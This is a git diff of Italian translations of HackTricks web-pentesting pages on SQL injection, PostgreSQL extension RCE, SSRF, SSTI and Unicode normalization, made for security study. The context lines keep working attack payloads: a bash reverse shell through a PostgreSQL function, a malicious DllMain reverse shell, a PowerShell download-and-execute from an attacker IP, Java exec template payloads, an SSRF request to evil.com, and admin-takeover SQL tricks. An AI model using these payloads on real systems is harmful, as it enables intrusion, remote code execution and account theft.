Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query unione viene aggiunta al tuo payload, facilitando lo sfruttamento dell'iniezione basata su unione ora accessibile.
Per ulteriori approfondimenti, fai riferimento all'articolo completo disponibile su [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
@ -317,7 +318,7 @@ Per farlo, dovresti provare a **creare un nuovo oggetto chiamato "oggetto master
Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma ciò non significa che non abbia funzionato).
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).
Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -343,11 +344,11 @@ Ecco come funziona:
- La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
- Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` si attiva, istruendo MySQL ad aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash reale della password desiderata).
### Estrai informazioni
#### Creare 2 account contemporaneamente
#### Creazione di 2 account contemporaneamente
Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:
```
@ -388,7 +389,7 @@ Esempio:
```
## Bypass WAF
[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### Bypass senza spazi
@ -446,7 +447,7 @@ Fondamentalmente puoi utilizzare la notazione scientifica in modi inaspettati pe
Prima di tutto, nota che se la **query originale e la tabella da cui vuoi estrarre il flag hanno lo stesso numero di colonne** puoi semplicemente fare: `0 UNION SELECT * FROM flag`
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo apparirebbe così:
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo apparirebbe come:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -460,7 +461,9 @@ Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-w
### Strumenti per suggerire bypass WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Altre Guide
@ -469,7 +472,9 @@ Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-w
## Elenco di Rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
{{#include ../../banners/hacktricks-training.md}}

16
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -6,7 +6,7 @@
PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamentale, permettendo di integrare senza problemi le estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
A partire dalla versione 8.1, viene imposto un requisito specifico alle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima abusando di PostgreSQL, dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
> Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "magic block" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un magic block è richiesto a partire da PostgreSQL 8.2. Per includere un magic block, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
#### Compila la libreria
@ -121,11 +121,13 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
```
Puoi trovare questa **libreria precompilata** per diverse versioni di PostgreSQL e puoi anche **automatizzare questo processo** (se hai accesso a PostgreSQL) con:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### RCE in Windows
Il seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che vuoi eseguirlo e lo esegue:
La seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che desideri eseguirlo e lo esegue:
```c
#include "postgres.h"
#include <string.h>
@ -250,7 +252,7 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Nota come in questo caso il **codice malevolo è all'interno della funzione DllMain**. Questo significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta **caricare il DLL** per **eseguire** la reverse shell:
Nota come in questo caso il **codice malevolo si trova all'interno della funzione DllMain**. Questo significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta **caricare il DLL** per **eseguire** la reverse shell:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
@ -258,7 +260,7 @@ Il [PolyUDF project](https://github.com/rop-la/PolyUDF) è anche un buon punto d
### RCE nelle ultime versioni di PostgreSQL
Nelle **ultime versioni** di PostgreSQL, sono state imposte restrizioni in cui il `superuser` è **proibito** dal **caricare** file di libreria condivisi tranne che da directory specifiche, come `C:\Program Files\PostgreSQL\11\lib` su Windows o `/var/lib/postgresql/11/lib` su sistemi \*nix. Queste directory sono **protette** contro le operazioni di scrittura sia dagli account NETWORK_SERVICE che postgres.
Nelle **ultime versioni** di PostgreSQL, sono state imposte restrizioni in cui il `superuser` è **proibito** dal **caricare** file di librerie condivise tranne che da directory specifiche, come `C:\Program Files\PostgreSQL\11\lib` su Windows o `/var/lib/postgresql/11/lib` su sistemi \*nix. Queste directory sono **protette** contro le operazioni di scrittura sia dagli account NETWORK_SERVICE che postgres.
Nonostante queste restrizioni, è possibile per un `superuser` autenticato **scrivere file binari** nel filesystem utilizzando "large objects." Questa capacità si estende alla scrittura all'interno della directory `C:\Program Files\PostgreSQL\11\data`, che è essenziale per operazioni di database come l'aggiornamento o la creazione di tabelle.

16
src/pentesting-web/ssrf-server-side-request-forgery/README.md
View File

@ -141,7 +141,7 @@ Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle s
## Funzioni PHP SSRF
Controlla la seguente pagina per funzioni PHP vulnerabili e persino funzioni di Wordpress:
Controlla la seguente pagina per funzioni PHP vulnerabili e anche funzioni di Wordpress:
{{#ref}}
../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
@ -218,7 +218,7 @@ Codice vulnerabile:
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente di utilizzare poi **`@`** e iniettare un nuovo host da accedere. Richiesta di attacco:
È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente poi di utilizzare **`@`** e iniettare un nuovo host da accedere. Richiesta di attacco:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -261,11 +261,11 @@ Se hai **problemi** a **estrarre contenuti da un IP locale** a causa di **CORS/S
### DNS Rebidding Automatizzato
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) è uno strumento per eseguire attacchi di [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Include i componenti necessari per riassociare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) è uno strumento per eseguire attacchi [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Include i componenti necessari per riassociare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target.
Controlla anche il **server pubblico in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS Session ID/Session ticket
## DNS Rebidding + ID di Sessione TLS/Ticket di Sessione
Requisiti:
@ -277,10 +277,10 @@ Attacco:
1. Chiedi all'utente/bot di **accedere** a un **dominio** controllato dall'**attaccante**
2. Il **TTL** del **DNS** è **0** sec (quindi la vittima controllerà di nuovo l'IP del dominio a breve)
3. Viene creata una **connessione TLS** tra la vittima e il dominio dell'attaccante. L'attaccante introduce il **payload all'interno** del **Session ID o Session Ticket**.
3. Viene creata una **connessione TLS** tra la vittima e il dominio dell'attaccante. L'attaccante introduce il **payload all'interno** dell'**ID di Sessione o Ticket di Sessione**.
4. Il **dominio** avvierà un **ciclo infinito** di reindirizzamenti contro **se stesso**. L'obiettivo di questo è far accedere l'utente/bot al dominio fino a quando non esegue **di nuovo** una **richiesta DNS** del dominio.
5. Nella richiesta DNS viene fornito un **indirizzo IP privato** **ora** (127.0.0.1 ad esempio)
6. L'utente/bot cercherà di **ripristinare la connessione TLS** e per farlo **invierà** il **Session** ID/Ticket ID (dove era contenuto il **payload** dell'attaccante). Quindi congratulazioni, sei riuscito a chiedere all'**utente/bot di attaccare se stesso**.
6. L'utente/bot cercherà di **ristabilire la connessione TLS** e per farlo **invierà** l'**ID** di Sessione/Ticket ID (dove era contenuto il **payload** dell'attaccante). Quindi congratulazioni, sei riuscito a chiedere all'**utente/bot di attaccare se stesso**.
Nota che durante questo attacco, se vuoi attaccare localhost:11211 (_memcache_) devi far stabilire alla vittima la connessione iniziale con www.attacker.com:11211 (il **porto deve sempre essere lo stesso**).\
Per **eseguire questo attacco puoi usare lo strumento**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
@ -341,7 +341,9 @@ SSRF Proxy è un server proxy HTTP multi-thread progettato per tunnelare il traf
### Per praticare
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Riferimenti

6
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -159,12 +159,14 @@ Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) può generare
Dai un'occhiata al [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) di portswigger dove puoi inserire l'host consentito e quello dell'attaccante e genererà una lista di URL da provare per te. Considera anche se puoi utilizzare l'URL in un parametro, in un'intestazione Host o in un'intestazione CORS.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect
Potrebbe essere possibile che il server stia **filtrando la richiesta originale** di un SSRF **ma non** una possibile **risposta di redirect** a quella richiesta.\
Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) verso il luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\
Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) al luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\
[Controlla questo report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3

53
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Cos'è SSTI (Server-Side Template Injection)
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
@ -19,16 +18,16 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Per prevenire vulnerabilità da iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
### Rilevamento
Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
- Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
- **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`).
- **Contesto del codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
- **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
#### Fase di identificazione
@ -44,7 +43,7 @@ Identificare il motore del template comporta l'analisi dei messaggi di errore o
### [TInjA](https://github.com/Hackmanit/TInjA)
un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi
un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi.
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -61,13 +60,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
### [Tabella di Iniezione dei Template](https://github.com/Hackmanit/template-injection-table)
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
una tabella interattiva contenente i polyglot di iniezione dei template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
## Exploits
## Sfruttamenti
### Generic
### Generico
In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
@ -76,7 +75,7 @@ In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alc
### Java
**Java - Basic injection**
**Java - Iniezione di base**
```java
${7*7}
${{7*7}}
@ -156,7 +155,7 @@ $out.read()
### Thymeleaf
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziale esecuzione di codice remoto, possono essere utilizzate espressioni come le seguenti:
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
- SpringEL:
@ -238,12 +237,12 @@ count += 1
print(base_payload + end_payload)
```
**Ulteriori Informazioni**
**Ulteriori informazioni**
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipolazione della Vista di Spring (Java)
### Manipolazione della vista Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -317,7 +316,7 @@ Corretto da [https://github.com/HubSpot/jinjava/pull/230](https://github.com/Hub
- `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab"
- `{{'a'.getClass()}}` - java.lang.String
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass()}}` - classe com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il [progetto Jinjava su Github](https://github.com/HubSpot/jinjava/).
@ -416,9 +415,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
@ -501,7 +498,7 @@ Modello di pagina:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Modello di layout:
Layout template:
```html
<html>
<head>
@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per suddividere un documento in diverse parti
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -815,7 +812,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
### Jinja2 (Python)
[Sito ufficiale](http://jinja.pocoo.org)
[Official website](http://jinja.pocoo.org)
> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
@ -890,7 +887,7 @@ ${x}
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Altri Python
### Altro Python
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
@ -927,7 +924,7 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Ulteriori Informazioni**
**Ulteriori informazioni**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
@ -946,20 +943,20 @@ Anche se è Perl, utilizza tag come ERB in Ruby.
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
- `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
- `{{printf "%s" "ssti" }}`: Si prevede che visualizzi la stringa "ssti".
- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go [qui](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation**
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
L'exploitation RCE differisce significativamente tra `html/template` e `text/template`. Il modulo `text/template` consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non permessa in `html/template`. La documentazione per questi moduli è disponibile [qui per html/template](https://golang.org/pkg/html/template/) e [qui per text/template](https://golang.org/pkg/text/template/).
L'exploitation RCE differisce significativamente tra `html/template` e `text/template`. Il modulo `text/template` consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non consentita in `html/template`. La documentazione per questi moduli è disponibile [qui per html/template](https://golang.org/pkg/html/template/) e [qui per text/template](https://golang.org/pkg/text/template/).
Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo `System` che esegue comandi, può essere sfruttato come `{{ .System "ls" }}`. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito:
```go
@ -977,7 +974,7 @@ return string(out)
Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
## PDF BlackHat
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
@ -997,7 +994,9 @@ Se pensi possa essere utile, leggi:
## Lista di Rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Pratica e Riferimenti

10
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -1,4 +1,4 @@
# Normalizzazione Unicode
# Unicode Normalization
{{#include ../../banners/hacktricks-training.md}}
@ -17,7 +17,7 @@ Ci sono **quattro algoritmi di normalizzazione Unicode**: NFC, NFD, NFKC e NFKD.
Comprendere la codifica Unicode è fondamentale, specialmente quando si affrontano problemi di interoperabilità tra diversi sistemi o lingue. Ecco i punti principali:
- **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo viene assegnato un valore numerico noto come "punto di codice".
- **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo è assegnato un valore numerico noto come "punto di codice".
- **Rappresentazione in Byte**: Il punto di codice (o carattere) è rappresentato da uno o più byte in memoria. Ad esempio, i caratteri LATIN-1 (comuni nei paesi di lingua inglese) sono rappresentati utilizzando un byte. Tuttavia, le lingue con un set di caratteri più ampio necessitano di più byte per la rappresentazione.
- **Codifica**: Questo termine si riferisce a come i caratteri vengono trasformati in una serie di byte. UTF-8 è uno standard di codifica prevalente in cui i caratteri ASCII sono rappresentati utilizzando un byte e fino a quattro byte per altri caratteri.
- **Elaborazione dei Dati**: I sistemi che elaborano dati devono essere a conoscenza della codifica utilizzata per convertire correttamente il flusso di byte in caratteri.
@ -75,7 +75,9 @@ Quindi, un utente malintenzionato potrebbe inserire un carattere Unicode diverso
```
#### sqlmap template
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (Cross Site Scripting)
@ -89,7 +91,7 @@ Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato co
### Fuzzing Regexes
Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe essere **normalizzando l'URL inviato** ma poi **accedendovi così com'è**.
Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe **normalizzare l'URL inviato** ma poi **accedervi così com'è**.
